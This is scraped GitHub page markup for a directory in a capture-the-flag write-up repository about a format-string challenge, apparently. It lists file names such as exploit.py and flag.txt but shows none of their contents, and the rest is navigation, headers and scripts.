<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-WriteUp/Castorsctf/pwn/babyfmtfile at master · gr4n173/CTF-WriteUp · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="9F19:B9C6:A8A58A5:AD0C36B:64122014" data-pjax-transient="true"/><meta name="html-safe-nonce" content="ed6fab6da95d14e6525b35f583cbc5edc5b7c92855465b87fa94d6b2accb141a" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5RjE5OkI5QzY6QThBNThBNTpBRDBDMzZCOjY0MTIyMDE0IiwidmlzaXRvcl9pZCI6IjY3NjMxMDI4OTYwNzY3NTkwNjAiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="010eba1019009889cf18d0c090ac04a5c86f1c63958338496fae3b6dbf706b55" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:268424549" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/c7af2b24c123c84d92130972279065e7d693330338fb1a560dd584248791d2cd/gr4n173/CTF-WriteUp" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-WriteUp/Castorsctf/pwn/babyfmtfile at master · gr4n173/CTF-WriteUp" /><meta name="twitter:description" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/c7af2b24c123c84d92130972279065e7d693330338fb1a560dd584248791d2cd/gr4n173/CTF-WriteUp" /><meta property="og:image:alt" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-WriteUp/Castorsctf/pwn/babyfmtfile at master · gr4n173/CTF-WriteUp" /><meta property="og:url" content="https://github.com/gr4n173/CTF-WriteUp" /><meta property="og:description" content="Here I post about every CTF I played. Contribute to gr4n173/CTF-WriteUp development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/gr4n173/CTF-WriteUp git https://github.com/gr4n173/CTF-WriteUp.git">
<meta name="octolytics-dimension-user_id" content="34855478" /><meta name="octolytics-dimension-user_login" content="gr4n173" /><meta name="octolytics-dimension-repository_id" content="268424549" /><meta name="octolytics-dimension-repository_nwo" content="gr4n173/CTF-WriteUp" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="268424549" /><meta name="octolytics-dimension-repository_network_root_nwo" content="gr4n173/CTF-WriteUp" />
<link rel="canonical" href="https://github.com/gr4n173/CTF-WriteUp/tree/master/Castorsctf/pwn/babyfmtfile" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
